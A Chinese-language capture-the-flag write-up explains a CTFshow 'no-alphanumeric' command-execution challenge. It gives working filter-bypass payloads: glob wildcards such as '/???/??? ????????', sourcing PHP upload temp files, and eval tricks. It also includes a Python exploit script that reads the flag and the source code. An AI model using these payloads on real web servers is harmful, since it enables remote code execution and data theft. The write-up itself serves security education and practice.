无字母数字命令执行(No-alphanumeric RCE)完全解析
靶场:
https://0a594fef-edb3-4544-b303-d33e6e6c19dd.challenge.ctf.show/
靶场地址是随机每次重新开启容器都不一样,这里只是用做举例
题目:CTFshow「纯新手」系列 ------ Shell Code Executor
最终 Flag:
CTF{no_characters_to_execute_shell_commands_he3e}本文面向"代码不太熟"的新手,每一步都有「为什么这么做」和「可以自己复现的命令」。
一、先别急着打 payload:搞清这道题到底在问什么
页面长这样(我抓到的真实源码):
html
<form method="POST">
<textarea name="code" placeholder="whoami"></textarea>
<button type="submit">Execute Code</button>
</form>
- 你提交一个参数叫
code - 后端把它当成 shell 命令 去执行(不是 PHP 的
eval) - 但后端在执行前做了一次 过滤/黑名单检查
输入 whoami 的结果:
Error: Invalid shell code!
所以题目名「无字母数字命令执行」的意思是:
你有一台 shell 可以随便用,但是你的命令里不允许出现任何一个字母(a-z A-Z)或数字(0-9)。
请你想办法依然把 flag 读出来。
这就是题型定义。难点只有一个:不许写字。
二、第一步必做:把过滤规则摸清楚(别猜,要测)
很多人一上来就套网上 payload,失败后完全不知道为什么。正确做法是先做"字符集测绘":
逐个符号发过去,看哪些能通过:
| 输入 | 结果 |
|---|---|
a / z / A / Z |
❌ Invalid shell code! |
0 / 9 |
❌ Invalid shell code! |
? * / . $ ` |
; & % ~` `^` `(` `)` `[` `]` `{` `}` `<` `>` `+` `-` `!` `@` `#` `:` `,` `'` `` ````` |
结论(本题关键事实 1):
- 禁止 :大小写字母 + 数字(等价于常见正则
/[a-z0-9]/i) - 允许 :所有标点符号/特殊字符
📌 这一条决定了后面所有手法。比如网上常见的
$'\154\163'(八进制拼出ls)在这里用不了,因为里面有数字!
新手要点:每一次 CTF 都要重新做这一步。不同题目的白名单不一样,靠猜必翻车。
三、第二步:判断后端是 eval 还是 system(最容易忽略的一步)
同样是"传字符串去执行",PHP 里有两条完全不同的路:
| 后端 | 语言 | 可用手法 |
|---|---|---|
eval($code) |
PHP 语法 | 取反 ~、异或 ^、自增 $_++、短标签 ?><?= |
system($code) |
Shell 语法 | 通配符 ? *、source .、重定向 >、环境变量 |
如果判断错了,你写的 payload 属于另一套语言,必然失败。
怎么判断?用一个"语法炸弹"
我提交了一个单独的 <:
输入: <
输出: < execute success!
原理:
- 如果是
eval("<")→ PHP 解析语法错误 → 页面直接崩/不会打印成功 → 不可能出现 "execute success" - 如果是
system("<")→ shell 收到<只是报个错到 stderr → 脚本继续走,于是照样打印 "execute success"
结论(关键事实 2):这是 system(),也就是说我们要打的是 Shell 语法,不是 PHP。
后来我又验证了一次,彻底坐实(见第七节): 提交 /???/??????,页面吐出:
bzdiff: /dev/mqueue not found or not a regular file
有真实的 Linux 命令报错 → 铁证:system()。
⚠️ 顺手避一个坑:回显是骗人的
这个页面不管你输什么都打印:
<你提交的内容> execute success!
就算命令执行失败了,它照样说 success 。所以别看 "success" 判断成功与否,
真正的命令输出出现在 "execute success" 这一行的上面。
四、核心杀器:理解 Shell 通配符的"第一个就是命令"
这道题的题眼就是这个 Linux shell(bash/dash)的行为:
当你在 shell 里写一个含通配符的词,它会先展开 成多个文件路径;
展开后的第 1 个被当成命令,其余全部变成参数。
举例,假设 /bin 下有 awk cat sed:
/???/??? → 展开为 /bin/awk /bin/cat /bin/sed
↑ 命令 ↑ 参数1 ↑ 参数2
于是:我们不用写字母,也能"选命令" ------ 唯一的选择手段是 ? 的个数,也就是文件名长度。
| 写法 | 含义 |
|---|---|
? |
匹配任意 1 个字符 |
* |
匹配任意长度(含 0)任意字符 |
/???/ |
根目录下名字长度为 3 的目录 → /bin/、/tmp/、/etc/、/dev/ ... |
/???/??? |
目录 3 字 + 文件 3 字 → /bin/awk、/bin/cat、/etc/ssl... |
副作用(新手务必记住) :
由于是按字典序 展开,被执行的是匹配到的第一条 。
所以你没法随意指定 "跑 cat",只能控制长度,赌该目录下字典序第一个是谁。
我在这台机器上实测的长度表(不同机器不一样,建议自己扫一遍):
| payload | 实际命中 | 表现 |
|---|---|---|
/???/?? |
cp 一类 | 无输出 |
/???/??? |
能打印文件内容的命令(疑似 cat 一类) | 有输出 ✅ 解题关键 |
/???/???? |
bash 一类 | 无输出 |
/???/?????? |
bzdiff | 报错回显 ✅ 好用的探针 |
五、第三步:找到 flag 文件在哪(没有 ls 怎么办?)
因为不能写 ls 这种字母,传统的"列目录"做不到。怎么办?两个思路:
- 用长度通配符猜 :常见的 flag 文件名就那么几个
flag、flag.php、flag.txt,
对应相对路径长度 4 / 8 / 8。 - 利用"报错回显"当信息源(见第七节)。
我用的就是思路 1:在当前目录里按长度枚举。
六、解法一(我实测通过,最简单):直接把 flag.php 读出来
🎯 最终 payload
/???/??? ????????
注意第二个参数前面是空格,是相对路径(相对当前工作目录,也就是网站根目录)。
逐段拆解
/???/??? ????????
│ │
│ └─ 相对路径:当前目录下"名字长度 = 8"的文件
│ 当前目录只有两个文件:
│ flag.php ← 8 个字符 ✅ 命中
│ index.php ← 9 个字符 ✗ 不匹配
│
└─ 绝对路径:3 字目录 + 3 字文件
→ 展开后取字典序第一条,在这台机器上
恰好是"一条能把文件内容打印到页面的命令"
执行结果(我从返回的 HTML 里 grep 出来的):
CTF{no_characters_to_execute_shell_commands_he3e}
为什么输出里混着一大坨乱码?
因为 /???/??? 这一个词会展开成好几个词:
/???/??? → 命令 参数1 参数2 ...
└ 它被同时喂进了好几个文件的路径
所以它会把这些文件的内容一起打印出来 (约 1.6MB 噪音),
我们的 flag 就夹在这堆乱码中间。往上翻就能看到。
⚠️ 两个实测出来的坑
- 别乱加
<:<重定向到一个不存在的文件时,整条命令会直接不执行,输出为 0。
我试过/???/??? </!!!和< /???/??????,结果都是一片空白。 - 参数里别带目录 :一旦展开的参数里混进目录,这条命令会直接吐 0 字节
(比如/???/??? /???/????就没有输出)。
所以用当前目录的相对短通配(只有几个文件)最稳,这正是解法一的核心思路。
举一反三:同一个套路能读别的长度
| payload | 读到什么 |
|---|---|
/???/??? ???????? |
flag.php(8 字符)→ flag |
/???/??? ????????? |
index.php(9 字符)→ 拿到题目源码! |
💡 第二个很有教学价值:我用它把
index.php的源码原样取出来了,你以后做任何题都可以先想办法把源码读出来,比猜源码快一万倍。
七、解法二(网上主流 writeup 的打法):上传文件 + source 临时文件
这是别人博客里的解法,思路更"通用",建议也学会,
因为它不依赖"运气好碰到一个读文件的命令"。
原理三步走
① PHP 有个隐藏的免费功能
就算页面长得只有一个输入框,只要你用 multipart/form-data(文件上传格式)发请求,
PHP 也会自动把上传的文件先存成一个临时文件:
/tmp/phpXXXXXX ← "php" 前缀 + 6 位随机字符 = 文件名共 9 个字符
这个临时文件在本次请求执行期间一直存在。
② shell 里的 . = source
. 文件名 会把这个文件当成 shell 脚本在当前 shell 里逐行执行。
重点是:不需要文件有可执行权限(纯文本也能跑)。
③ 用通配符把那个临时文件摸出来
. /???/????????[@-[]
| 片段 | 含义 |
|---|---|
. |
source,执行脚本 |
/???/ |
名字 3 个字的目录 → 里面就有 /tmp/ |
???????? |
8 个任意字符 |
[@-[] |
字符范围:从 @(ASCII 64) 到 [(ASCII 91) → 包含 @、A-Z、[ |
最后那个 [@-[] 是整段 payload 最骚的地方:
它用一个纯符号的范围,表达了"大写字母 A-Z",从而绕开了"不许写字"的限制!
组合起来第 9 个字符必须是大写字母/符号 ------ 正好挑出 /tmp/phpXXXXXX
(前提是随机数最后一位正好是大写,所以可能要多试几次,人家 writeup 里也说了要"爆破")。
④ 上传的文件内容你自己随便写,所以不再受"不能写字"限制
比如上传内容写 cat flag.php,再 source 它,就等于执行了 cat flag.php。
完整利用脚本
python
import requests, re
url = "https://0a594fef-edb3-4544-b303-d33e6e6c19dd.challenge.ctf.show/"
def run(cmd):
# 把想执行的命令作为"上传的文件内容"送进去(content 不受过滤限制)
files = {"file": ("x", cmd, "text/plain")}
data = {"code": ". /???/????????[@-["} # 去 source 那个临时文件
r = requests.post(url, files=files, data=data, timeout=10)
return r.text
for cmd in ["whoami", "ls -la", "cat flag.php"]:
t = run(cmd)
m = re.search(r'CTF\{[^}]+\}', t)
print(">", cmd, "→", m.group(0) if m else "本条未出 flag(临时文件末位随机,重试即可)")
⚠️ 我在这台机器上试了几次没命中,原因是这台机器的 PHP 临时文件名随机串不一定以大写结尾 ,
这正是本节要告诉你的现实:payload 依赖环境,要会根据反馈调整 。
所以我实际是用解法一拿到 flag 的。
八、把这个挂在 . 上的同类技巧一次性打包给你
1. 用字符范围"合法地"表达字母
不用写字,也能框出字母所在的范围:
| 写法 | 覆盖的 ASCII | 能表达什么 |
|---|---|---|
[@-[] |
64--91 | 大写字母 A-Z(还有 @ [) |
[ -~] |
32--126 | 所有可打印字符(等价通配) |
[!-/] |
33--47 | 纯标点 |
2. ? 个数 = 精确的长度筛选
???????? → 正好 8 个字符的名字(如 flag.php)
????????? → 正好 9 个字符的名字(如 index.php)
3. 相对路径 >> 绝对路径
根目录子目录太多,竞争者多。
用相对路径(直接在当前目录匹配)可以把候选压缩到个位数,这是本题解法一能成功的关键。
4. 信息收集类技巧(没 ls 时)
- 报错回显 :故意让命令处理不该处理的东西,错误信息会泄露路径
(我拿到的bzdiff: /dev/mqueue not found就是这么来的) - 长度枚举 :从 1 到 12 挨个试
?,看输出变化 - 读源码优先 :拿到
index.php比什么都强
5. 常见替代手法速查(其他题会用得上)
| 场景 | 手法 | 例子 |
|---|---|---|
| 后端是 eval(PHP) | 取反 | ?><?=~"\xa0\xb0\xba\...";?> |
| 后端是 eval | 自增构造字符 | $_++;$_++; 拼出字母 |
| 后端是 eval | 异或 | 两个非字母字符 ^ 出字母 |
| 后端是 system(Shell) | 通配符执行命令 | /???/??? 本题 |
| 后端是 system | source 临时文件 | . /???/????????[@-[] |
| 后端是 system | 空格被过滤时 | ${IFS}、$IFS$9 |
| 后端是 system | 重定向写文件 | >文件名 创建空文件 |
注意:带数字/字母的写法(如
$'\154'八进制、$IFS)在禁数字的题目里会失效------本题就失效了。
九、方法论清单:以后遇到"某某被过滤的命令执行",照这个顺序打
- 看清入口 :参数名叫什么?(本题
code)页面形式? - 测绘字符集 :逐符号测,得出"允许/禁止"清单。最重要,别偷懒。
- 判断后端语言 :
eval(PHP)还是system(Shell)?
用不合语法的输入试探 + 看是否有真实命令报错。 - 确认回显:输出在哪?stderr 看得到吗?有没有骗人的 "success"?
- 列出绕过候选:从上节表格里挑适合这道题的那一两种。
- 先读源码、再读 flag:想办法把 PHP 源码弄出来,比盲打快。
- 环境依赖的实时 payload 要有重试/爆破(如临时文件末位随机)。
十、答案
CTF{no_characters_to_execute_shell_commands_he3e}
最小 payload(直接贴到输入框 Execute 即可):
/???/??? ????????
输出里混了一大坨乱码是正常的(它会连带打印通配命中的其他文件),
乱翻一翻,flag 就在那堆内容里 ;用浏览器的查找功能搜 CTF{ 最快。
附:一句话总结这题为什么叫"难度极低"
它没有考你会不会写复杂的绕过代码,只考一件事:
知道 shell 会把通配符展开后的第一个结果当成命令,剩下的当成参数。
知道这一点,剩下就是数 ? 的个数而已。